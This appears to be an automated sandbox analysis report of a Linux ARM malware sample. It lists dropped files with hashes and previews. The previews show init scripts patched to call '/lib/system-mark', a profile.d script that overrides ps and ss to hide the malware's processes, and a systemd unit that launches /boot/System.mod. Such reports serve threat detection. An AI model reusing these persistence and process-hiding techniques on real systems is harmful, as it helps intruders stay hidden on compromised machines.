Preview:	#! /bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: procps.# Required-Start: mountkernfs $local_fs.# Required-Stop:.# Should-Start: udev module-init-tools.# X-Start-Before: $network.# Default-Start: S.# Default-Stop:.# Short-Description: Configure kernel parameters at boottime.# Description: Loads kernel parameters that are specified in /etc/sysctl.conf.### END INIT INFO.#.# written by Elrond <Elrond@Wunder-Nett.org>..DESC="Setting kernel variables".DAEMON=/sbin/sysctl.PIDFILE=none..# Comment this out for sysctl to print every item changed.QUIET_SYSCTL="-q"..do_start_cmd() {..STATUS=0..$DAEMON $QUIET_SYSCTL --system \|\| STATUS=$?..return $STATUS.}..do_stop() { return 0; }.do_status() { return 0; }..

/etc/init.d/rsync

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	5.249855326047257
Encrypted:	false
SSDEEP:	96:jdRMpo498RXFzyb1U0lKRuHp8gXGHoNURkx:jdRMpJ98g1U0c8JxWINUmx
MD5:	BBBAC3DC084FCC76813396852B0383FE
SHA1:	675F156F5AAF3BFA73C23A1478680F9769D19926
SHA-256:	BF77774A109F072532F634BCC63FB7DA005BEB0D553418FA42DED906F3025EFF
SHA-512:	C7F9AE322C14643F6D711B4B20AD009522B3FE02E986CFB5F839717144BF795E70E17A2745D24E74C4CA76922FF8ED0C1D413F7CEBDECA25CFC52AE4EDE04FA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides: rsyncd.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Should-Start: $named autofs.# Default-Start: 2 3 4 5.# Default-Stop: .# Short-Description: fast remote file copy program daemon.# Description: rsync is a program that allows files to be copied to and.# from remote machines in much the same way as rcp..# This provides rsyncd daemon functionality..### END INIT INFO..set -e..# /etc/init.d/rsync: start and stop the rsync daemon..DAEMON=/usr/bin/rsync.RSYNC_ENABLE=false.RSYNC_OPTS=''.RSYNC_DEFAULTS_FILE=/etc/default/rsync.RSYNC_CONFIG_FILE=/etc/rsyncd.conf.RSYNC_PID_FILE=/var/run/rsync.pid.RSYNC_NICE_PARM=''.RSYNC_IONICE_PARM=''..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..if [ -s $RSYNC_DEFAULTS_FILE ]; then./lib/system-mark. . $RSYNC_DEFAULTS_FILE. case "x$RSYNC_ENABLE" in..xtrue\|xfalse).;;..xinetd)..exit 0....;;..*)..log_fail

/etc/init.d/rsyslog

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2899
Entropy (8bit):	5.275562121366292
Encrypted:	false
SSDEEP:	48:7cqmpKHnuoz/SWSZABLG/tm3RpZWE/eXt5Ie3nLqWpvU8lbzZdaZ2YI:75sKHuS8ZABLG1m3rZWE2Xt5Ie3nR5JT
MD5:	5D640A7C6908172899411BF2B8B1DE9C
SHA1:	B3980052CC12A5ACF1DD34D134CD822CAE09C63A
SHA-256:	A40550FEDDF8DB933722514358F364F7CCD50E9EFF123F4F408575BFB0865DE2
SHA-512:	E0AAF4ACC9F2707B6B191A5BDB36711F43D5C1890D5FFD614C03C2525E31F7993BE0308B865DA41B6D4E83A32759AEE91D8B94C293AD6174C2D94633980B3766
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: rsyslog.# Required-Start: $remote_fs $time.# Required-Stop: umountnfs $time.# X-Stop-After: sendsigs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: enhanced syslogd.# Description: Rsyslog is an enhanced multi-threaded syslogd..# It is quite compatible to stock sysklogd and can be .# used as a drop-in replacement..### END INIT INFO..#.# Author: Michael Biebl <biebl@debian.org>.#..# PATH should only include /usr/* if it runs after the mountnfs.sh script.PATH=/sbin:/usr/sbin:/bin:/usr/bin.DESC="enhanced syslogd".NAME=rsyslog..RSYSLOGD=rsyslogd.DAEMON=/usr/sbin/rsyslogd.PIDFILE=/run/rsyslogd.pid..SCRIPTNAME=/etc/init.d/$NAME..# Exit if the package is not installed.[ -x "$DAEMON" ] \|\| exit 0..# Read configuration variable file if it is present.[ -r /etc/default/$NAME ] && . /etc/default/$NAME..# Define LSB log_* functions... /lib/lsb/init-functions..do_st

/etc/init.d/saned

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2293
Entropy (8bit):	5.0050970590485715
Encrypted:	false
SSDEEP:	24:aruzoYFiVHCVhQJABlRi5tzldBOVQReMdHvdNw5G/9yNuFimjBklJJq5MxnR5/2F:e7Y0u/i5t7RbHwG/9diHlrXnL/iOs1
MD5:	E26E346029E7C03BC1EF969368CF6A1D
SHA1:	7AD4BCFDA2907E9EED7C2DC81820EABFC0132AE7
SHA-256:	B26A28FBDDDCA0E1A9232CF7719860044CB58D34E11AEDC1D53C9D57A689616A
SHA-512:	FBAF8DA2CA6CA008E3D3F1F93C6FAF794A0D62ECD161770F0D00A48697AC190BAB80A13EA1B2D18A4CFD35FA33BEB8891848D5DA67D1DAD2246995CD44B45910
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.#.### BEGIN INIT INFO.# Provides: saned.# Required-Start: $syslog $local_fs $remote_fs.# Required-Stop: $syslog $local_fs $remote_fs.# Should-Start: dbus avahi-daemon.# Should-Stop: dbus avahi-daemon.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: SANE network scanner server.# Description: saned makes local scanners available over the.# network..### END INIT INFO... /lib/lsb/init-functions..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/saned.NAME=saned.DESC="SANE network scanner server"..test -x $DAEMON \|\| exit 0..RUN=no.RUN_AS_USER=saned..# Get lsb functions.. /lib/lsb/init-functions..# Include saned defaults if available.if [ -f /etc/default/saned ] ; then./lib/system-mark. . /etc/default/saned.fi..DAEMON_OPTS="-a $RUN_AS_USER"..set -e..case "$1" in. start)..log_daemon_msg "Starting $DESC" "$NAME"..start-stop-daemon --start --quiet --pidfile /var/run/$N

/etc/init.d/screen-cleanup

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.007351824676895
Encrypted:	false
SSDEEP:	24:c26Nr+XEgBYxABoO21p4rqeYCRjeyvcsTN/RGT7d/LGld/7K9jp:cPQoO23+qeYSjeybRRGHdTGld/7K9jp
MD5:	2CB1D1EE81FD07E07C103CB77A254958
SHA1:	1B94DFA21FF802A7176767B4F0B5EEC16057B5EC
SHA-256:	6DEA1801FFE07EB969A54FA572A6A63C80D570CEABAC7F14BFD51DD40E67FD30
SHA-512:	48556EE1B364DA2B128006C2755F1C665559C2216ECA1CE06D7972A158CD27AB075859ABD842D7C2F118175A5616B6FE5B6288866A55B050A465E699EB67C491
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# $Id: init,v 1.3 2004/03/16 01:43:45 zal Exp $.#.# Script to remove stale screen named pipes on bootup..#..### BEGIN INIT INFO.# Provides: screen-cleanup.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop:.# Short-Description: screen sessions cleaning.# Description: Cleans up the screen session directory and fixes its.# permissions if needed..### END INIT INFO..set -e..test -f /usr/bin/screen \|\| exit 0..SCREENDIR=/run/screen..case "$1" in.start). if test -L $SCREENDIR \|\| ! test -d $SCREENDIR; then./lib/system-mark. rm -f $SCREENDIR. mkdir $SCREENDIR. chown root:utmp $SCREENDIR. [ -x /sbin/restorecon ] && /sbin/restorecon $SCREENDIR. fi. find $SCREENDIR -type p -delete.# If the local admin has used dpkg-statoverride to install the screen.# binary with different set[ug]id bits, change the permissions of.# $SCREENDIR accordingly. BINARYPERM=`stat -c%a /usr/bin/screen`. if [ "

/etc/init.d/spice-vdagent

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	4.741374235420371
Encrypted:	false
SSDEEP:	48:DFZazGMU+rI4CXyUH0I6zroGW//AhrHoGx//AuiIngcu/syylyTIsD2E8AB6/oBa:DF0GMU+1iD6foGWQRHoGxQuiIngczVII
MD5:	652E57DD61B8A64F80D9CCCD751E4476
SHA1:	1C9E3D8CBCD6F9E6B1B3994D8246C89A52BA84CE
SHA-256:	49FEFA6609A75C4A3624B556F2593A15B2F9E0C173BFB2233B90DBC8BF52E53D
SHA-512:	657C725D48D6A56929530EC68DB98895C4EB7F3A6C94E799FBA2BF48053883F8128C03F934A63E623340FD0433FE5222685CAC501D5C8D9B81317353649E382D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.#.# spice-vdagent Agent daemon for Spice guests.#.# chkconfig: 345 70 30.# description: Together with a per X-session agent process the spice agent \.# daemon enhances the spice guest user experience with client \.# mouse mode, guest <-> client copy and paste support and more...### BEGIN INIT INFO.# Provides: . .spice-vdagent.# Required-Start: .$local_fs $remote_fs.# Required-Stop: .$local_fs $remote_fs.# Should-Start: .dbus.# Should-Stop: ..# Default-Start: .2 3 4 5.# Default-Stop: .0 1 6.# Short-Description: .Agent daemon for Spice guests.# Description: .Together with a per X-session agent process the spice agent.# .daemon enhances the spice guest user experience with client.# .mouse mode, guest <-> client copy and paste support and more..### END INIT INFO...exec="/usr/sbin/spice-vdagentd".prog="spice-vdagentd".pidfile="/var/run/spice-vdagentd/spice-vdagentd.pid".port="/dev/virtio-ports/com.redhat.spic

/etc/init.d/ssh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	4195
Entropy (8bit):	5.068394475077908
Encrypted:	false
SSDEEP:	96:jkXSV2xsYJrvcRyAHofonXHeyKyWUkO8IhQ:j1ouYJDc7IQXoXBIhQ
MD5:	C7F75670C4CBACFFCD3EE308F9EC9F4A
SHA1:	4D77E8C62706CB0601CB8031FB0368581E479792
SHA-256:	7E40FB227308DFE02D3F2EDF82B41D0FDF729A942D78D74C72EEA7A82669BE90
SHA-512:	39EB8A235611E0B6EC4C15D5C7D86274573A0C9DFD69E31D1297F50B992B0FF247382E20DAF02133BC7896B0530C215B5A1F870A6F214C9AF0DDB1F70C213CEA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh..### BEGIN INIT INFO.# Provides:..sshd.# Required-Start:.$remote_fs $syslog.# Required-Stop:.$remote_fs $syslog.# Default-Start:.2 3 4 5.# Default-Stop:...# Short-Description:.OpenBSD Secure Shell server.### END INIT INFO..set -e..# /etc/init.d/ssh: start and stop the OpenBSD "secure shell(tm)" daemon..test -x /usr/sbin/sshd \|\| exit 0.( /usr/sbin/sshd -\? 2>&1 \| grep -q OpenSSH ) 2>/dev/null \|\| exit 0..umask 022..if test -f /etc/default/ssh; then./lib/system-mark. . /etc/default/ssh.fi... /lib/lsb/init-functions..if [ -n "$2" ]; then./lib/system-mark. SSHD_OPTS="$SSHD_OPTS $2".fi..# Are we running from init?.run_by_init() {. ([ "$previous" ] && [ "$runlevel" ]) \|\| [ "$runlevel" = S ].}..check_for_no_start() {. # forget it if we're trying to start, and /etc/ssh/sshd_not_to_be_run exists. if [ -e /etc/ssh/sshd_not_to_be_run ]; then ./lib/system-mark..if [ "$1" = log_end_msg ]; then./lib/system-mark.. log_end_msg 0 \|\| true..fi..if ! run_by_init; then./lib/syst

/etc/init.d/udev

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	7281
Entropy (8bit):	4.982014475224516
Encrypted:	false
SSDEEP:	96:l7vIwGhwBoNNqeI4OyxwfPlBALWGGgRoG2davbKBJKCrrS2DvwvPmWGPmTbKBJKk:lOWoYiOVlz2B2daxqrS2zwGW51Wymj
MD5:	9C101DF581AD6E404FB99F3B974E743E
SHA1:	CF4A059360FEDD5F371C815772E2BAFC4532E997
SHA-256:	63F0156061B5B581C069F51ED8E3B0473CF796EA88A3BF4BE92B420D529B59AB
SHA-512:	4F7658321F7AC02F9D528088E8A572B8F8549C8FCC61366BDC43ACB61C9C216EBF597D78116A5DB4A42BDC0DC17A4AF6B55C068DB41BDC2DC661900B70A3EDE2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh -e.### BEGIN INIT INFO.# Provides: udev.# Required-Start: mountkernfs.# Required-Stop: umountroot.# Default-Start: S.# Default-Stop: 0 6.# Short-Description: Start systemd-udevd, populate /dev and load drivers..### END INIT INFO..PATH="/sbin:/bin".NAME="systemd-udevd".DAEMON="/lib/systemd/systemd-udevd".DESC="hotplug events dispatcher".PIDFILE="/run/udev.pid".CTRLFILE="/run/udev/control".OMITDIR="/run/sendsigs.omit.d"..# we need to unmount /dev/pts/ and remount it later over the devtmpfs.unmount_devpts() {. if mountpoint -q /dev/pts/; then./lib/system-mark. umount -n -l /dev/pts/. fi.. if mountpoint -q /dev/shm/; then./lib/system-mark. umount -n -l /dev/shm/. fi.}..# mount a devtmpfs over /dev, if somebody did not already do it.mount_devtmpfs() {. if grep -E -q "^[^[:space:]]+ /dev devtmpfs" /proc/mounts; then./lib/system-mark. mount -n -o remount,nosuid,size=$tmpfs_size,mode=0755 -t devtmpfs devtmpfs /dev. return. fi.. if ! mount -

/etc/init.d/ufw

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2220
Entropy (8bit):	4.757250053076253
Encrypted:	false
SSDEEP:	48:1LleiFcd/nzngwPatTM/JrNWwj/Jb/SX9l:1BDFmXOQvJE
MD5:	EA501062EF1DD3FA29A5BC5479E85D5C
SHA1:	997CD2C9A15D23589A8862E2F521A6E40C807311
SHA-256:	90D6965642D81F9AF96BA403FA262381940E73011724178E6B72EC54955C0BCB
SHA-512:	95D16F0A742BA49AA8ABEA1F448F602B4F00ED3DBDD51B25E71C79A68B9F07926B252A9B66D1BFFB760247BD4C605CCD9B4ACCF3ED1D1755A7886651AC6C396D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides: ufw.# Required-Start: $local_fs.# Required-Stop: $local_fs.# Default-Start: S.# Default-Stop: 1.# Short-Description: start firewall.# Description: Start ufw firewall.### END INIT INFO..set -e..PATH="/sbin:/bin"..[ -d /lib/ufw ] \|\| exit 0... /lib/lsb/init-functions..for s in "/lib/ufw/ufw-init-functions" "/etc/ufw/ufw.conf" "/etc/default/ufw" ; do. if [ -s "$s" ]; then./lib/system-mark. . "$s". else. log_failure_msg "Could not find $s (aborting)". exit 1. fi.done..error=0.case "$1" in.start). if [ "$ENABLED" = "yes" ] \|\| [ "$ENABLED" = "YES" ]; then./lib/system-mark. log_action_begin_msg "Starting firewall:" "ufw". output=`ufw_start` \|\| error="$?". if [ "$error" = "0" ]; then./lib/system-mark. log_action_cont_msg "Setting kernel variables ($IPT_SYSCTL)". fi. if [ ! -z "$output" ]; then./lib/system-mark. echo "$output" \| while read

/etc/init.d/unattended-upgrades

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1426
Entropy (8bit):	5.323775798950294
Encrypted:	false
SSDEEP:	24:aMXni+12wpFKFOGofwvlf/HNVKowwflHBhF/7Px1gr:bni23FKFpbt3GnoHBDbx2
MD5:	0BAD7D02A34912B684C93C71BFD19757
SHA1:	688CF612860E3C7125D34B63F7EF584DC65E4550
SHA-256:	FF796642243AF8B1492D63FF16F761AE942A4AE7CCFA17A05E3CF533B0D6E4DB
SHA-512:	D806A1D5B8AD9AA0A51841825DA8ACD4DA299D331874CD6FD777BCD6802B8BC7498B118B6D85F7E1793749EDCD3ABBD57EA78620226D34E43DA3AE1EE73BA684
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.#.### BEGIN INIT INFO.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Provides: unattended-upgrade-shutdown-check.# Default-Start: 2 3 4 5.# Default-Stop: 0 6.# Short-Description: Check if unattended upgrades are being applied.# Description: Check if unattended upgrades are being applied.# and wait for them to finish.### END INIT INFO.set -e..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin..NAME="unattended-upgrades-shutdown".DESC="unattended package upgrades shutdown".SCRIPTNAME="/etc/init.d/$NAME".SHUTDOWN_HELPER="/usr/share/unattended-upgrades/unattended-upgrade-shutdown"..if [ -x /usr/bin/python3 ]; then./lib/system-mark. PYTHON=python3.else. PYTHON=python.fi..# Load the VERBOSE setting and other rcS variables.. /lib/init/vars.sh..# Define LSB log_* functions..# Depend on lsb-base (>= 3.2-14) to ensure that this file is present.. /lib/lsb/init-functions..case "$1" in.

/etc/init.d/uuidd

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	5.209136415739334
Encrypted:	false
SSDEEP:	24:aNmC4ozLk8BZa8LNfwa0aDEPLu5CB5ZM5AHdwi/mqT0KtOC:3VozBjdh0a4PLuIBvMGwitIKtl
MD5:	A18F61759309F7DAE1CF4D379B0DC2E0
SHA1:	38BB4BFF894D6973BC2B59145A28CD93FC2A2B26
SHA-256:	8750FAACA2F9E6ED50996EBA4C23F884241C27A375CCFE79801715044BEA7232
SHA-512:	18489A3A5A446A80D1EEB324AD9823480FF2C53AF1703D4DB6B3DE42A7901B0223135948FD5162F60418F1AB7B7AA1CB3D3CA5C7D1E9E05F6048204DD913D6FB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh -e.### BEGIN INIT INFO.# Provides: uuidd.# Required-Start: $time $local_fs $remote_fs.# Required-Stop: $time $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: uuidd daemon.# Description: Init script for the uuid generation daemon.### END INIT INFO.#.# Author:."Theodore Ts'o" <tytso@mit.edu>.#.set -e..PATH=/bin:/usr/bin:/sbin:/usr/sbin.DAEMON=/usr/sbin/uuidd.UUIDD_USER=uuidd.UUIDD_GROUP=uuidd.UUIDD_DIR=/run/uuidd.PIDFILE=$UUIDD_DIR/uuidd.pid..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..case "$1" in. start)..log_daemon_msg "Starting uuid generator" "uuidd"..if ! test -d $UUIDD_DIR; then./lib/system-mark...mkdir -p $UUIDD_DIR...chown -R $UUIDD_USER:$UUIDD_GROUP $UUIDD_DIR..fi..start_daemon -p $PIDFILE $DAEMON..log_end_msg $?. ;;. stop)..log_daemon_msg "Stopping uuid generator" "uuidd"..killproc -p $PIDFILE $DAEMON..log_end_msg $?. ;;. status)..if pidofproc -p $PIDFILE $DAEMON >/dev/null 2>&

/etc/init.d/x11-common

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2911
Entropy (8bit):	4.894244496059908
Encrypted:	false
SSDEEP:	48:ZETewCRgFkV5ZSVwxcRypF1vrBy9DuIpPX5uCXAepm1L3/WAhyC76XGMgH3:SggFkViVNePT09DuYX5HX3aLdqX8
MD5:	E39C2FE947515C58470F91A5A6D1ED5B
SHA1:	00C7881A33ED0425C236C9544BD43E7BC9AE46DD
SHA-256:	37CCB9BB9C51FEB17B9943BB7DF42E8E03342F5611EC649E5C6E5A87A5A2840D
SHA-512:	AB26218676CEA2C319F29911650AA98C2E7D5578E9E2130D44997FDDE2E59765E1AAC52E0EE2C466E231B55AFFCA92B9C0A67A8381725D5433C3392DE04FF7F3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# /etc/init.d/x11-common: set up the X server and ICE socket directories.### BEGIN INIT INFO.# Provides: x11-common.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Default-Start: S.# Default-Stop:.# Short-Description: set up the X server and ICE socket directories.### END INIT INFO..set -e..PATH=/usr/bin:/usr/sbin:/bin:/sbin.SOCKET_DIR=.X11-unix.ICE_DIR=.ICE-unix... /lib/lsb/init-functions.if [ -f /etc/default/rcS ]; then./lib/system-mark. . /etc/default/rcS.fi..do_restorecon () {. # Restore file security context (SELinux).. if which restorecon >/dev/null 2>&1; then./lib/system-mark. restorecon "$1". fi.}..# create a directory in /tmp..# assumes /tmp has a sticky bit set (or is only writeable by root).set_up_dir () {. DIR="/tmp/$1".. if [ "$VERBOSE" != no ]; then./lib/system-mark. log_progress_msg "$DIR". fi. # if $DIR exists and isn't a directory, move it aside. if [ -e $DIR ] && ! [ -d $DIR ] \|\| [ -h $DIR ]; then./lib/system-mar

/etc/profile.d/bash_cfg.sh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	Bourne-Again shell script, ASCII text executable
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.261725074756386
Encrypted:	false
SSDEEP:	3:TKH/binKE:siKE
MD5:	BE6E09DEC0A6249FD83851DAF92AE627
SHA1:	9FF81BB38A0FD5432575455D7D8334BD8D983CF7
SHA-256:	44BDD8B7F00094E163540A2B8C3CF973E72499BAA20B78F8051E2422163E1D0D
SHA-512:	CCF2BDC30F45A132DBDBBF1F008A06525B7EE4A46F09A11025BA05A55835F67356DBB4F8E826AFB28C73AFE5653C09C7CEAA082A2194A0D7C78BE101A4AD1F30
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/bash./etc/profile.d/bash_cfg

/etc/profile.d/gateway.sh

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	Bourne-Again shell script, ASCII text executable, with very long lines (910)
Category:	dropped
Size (bytes):	6339
Entropy (8bit):	4.812774244409873
Encrypted:	false
SSDEEP:	192:sjahyOjP3ECqh8teJjahyOjP3ECqh8tejjahyOjP3ECqh8te3jahyOjP3ECqh8tW:0hD3RxNh
MD5:	0F705DFCB7BC7A3C01B0ED76EE90F5C4
SHA1:	67DA0363A8909652927A03A5BBE67A95D6C51519
SHA-256:	7EFB4C754C042B318B94473610141A5B449CDE5EB4080B1CEC0F3A6BCF21FA89
SHA-512:	4DA25376961EBE65F6832F3CC79B8889EF8CA3A4A6F114A3907238AEE385C8EE7E6B375814EE9F5A2A2A68827B3C33AAFE0CBE9C63DECE78A70CB8E40E27190C
Malicious:	true
Preview:	#!/bin/bash.function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo "$proc_name" \| sed -e '/32676/d');proc_name=$(echo "$proc_name" \| sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" \| sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" \| sed -e '/System.mod/d');proc_name=$(echo "$proc_name" \| sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" \| sed -e '/32676/d');proc_name=$(echo "$proc_name" \| sed -e '/.mod/d');proc_name=$(echo "$proc_name" \| sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" \| sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/system-mark/d');proc_name=$(echo "$proc_name" \| sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/sleep/d');proc_name=$(echo "$proc_name" \| sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" \| sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" \| sed -e '/c4RvDuLtq1.elf/d');echo "$proc_name"; }.function ss { proc_name=$(/usr/bin/ss $@);proc_name=$(echo "$proc_name" \| sed -e '/3267

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/proc/6022/loginuid

Download File

Process:	/usr/sbin/cron
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

/proc/6083/loginuid

Download File

Process:	/usr/sbin/cron
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

/run/crond.pid

Download File

Process:	/usr/sbin/cron
File Type:	ASCII text
Category:	dropped
Size (bytes):	10
Entropy (8bit):	1.9219280948873623
Encrypted:	false
SSDEEP:	3:5JYS:XX
MD5:	8226F9C945DBB4871858C237EF0EF9C5
SHA1:	576F7EC50A33695B245672FA904EDF601F75665F
SHA-256:	75DBB6A359807EBCD738923A3DFC45693208EAF2995019EA8FAB8AE3F57705C5
SHA-512:	DDF9A5E9094C157FC76B376E59EF849BB2EF12C5820126E653B5D19B816A7B06048898ADAE7723D714DA368339C3FEB0466F2F43893BB09CCD995EF307F7058E
Malicious:	false
Preview:	6114.6114.

/tmp/qemu-open.HZjS5v (deleted)

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	2.8721527297026226
Encrypted:	false
SSDEEP:	3:IA3KBG1+RUzaXTUdVvX:I3BW+xXYdVf
MD5:	D81AB85B0CBE21B18B4E915E53B08E95
SHA1:	B9FF91B84B3D88542B30F9B3CEBC0DADD041634F
SHA-256:	DC4BE7599BCE595DC0E6D8A0CAA89427AD9F013072B71549E5B085ABC4DEFEFF
SHA-512:	C97B3540E874B8255A626657BB7BE0FBB53ADE072D2C900CD138855C1AA57300DE4432407F59C2E9CE3A930285781EF435D6487D46ABD327B03B97EB670F5266
Malicious:	false
Preview:	5850 (/tmp/c4RvDuLtq1.elf) 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4294901136 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.

/usr/lib/systemd/system/quotaoff.service

Download File

Process:	/tmp/c4RvDuLtq1.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.795801274247707
Encrypted:	false
SSDEEP:	3:zMZa7kKXtERv+2AXTMikAdIgQ+NRs7WRA2Iav817WRA2IavpsRs7WRA2Iav2rSkc:z86XWRBADMD+ns7Hvx17Hv2sRs7HvtLc
MD5:	B02DE6CD28CD922B18D9D93375A70D8B
SHA1:	021426A5A2FF9EDC80BA5936C94B37525538885E
SHA-256:	D8D8E5CD33AA3450CD74C63716A02F3DFF39EFEF2836559F110BC93663B1380A
SHA-512:	DB3FE03AD5E599E6C03AAEC7BF1242F5509FBB624ADB9AFB7499E25487DAEF3F3F1C6BABF51570B527A5AC5C9F4B079AE4CC53BAA9497C0A121328BEF8D04422
Malicious:	false
Preview:	[Unit].Description=linux.After=network.target.[Service].Type=forking.ExecStart=/boot/System.mod.ExecReload=/boot/System.mod.ExecStop=/boot/System.mod.[Install].WantedBy=multi-user.target

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, Go BuildID=49T8JgYIRhoFS-7kKImK/0en6BqBab_MusslfeIDV/HagZBJ1Tx6MgntTEGBCR/j3jvLxLkswSG4BfHfW1W, stripped
Entropy (8bit):	5.663949407553446
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	c4RvDuLtq1.elf
File size:	2'097'152 bytes
MD5:	639af202eb3c903183b8ae3d8ba4951e
SHA1:	78ad606c247165cb75c4e349d9be702517203224
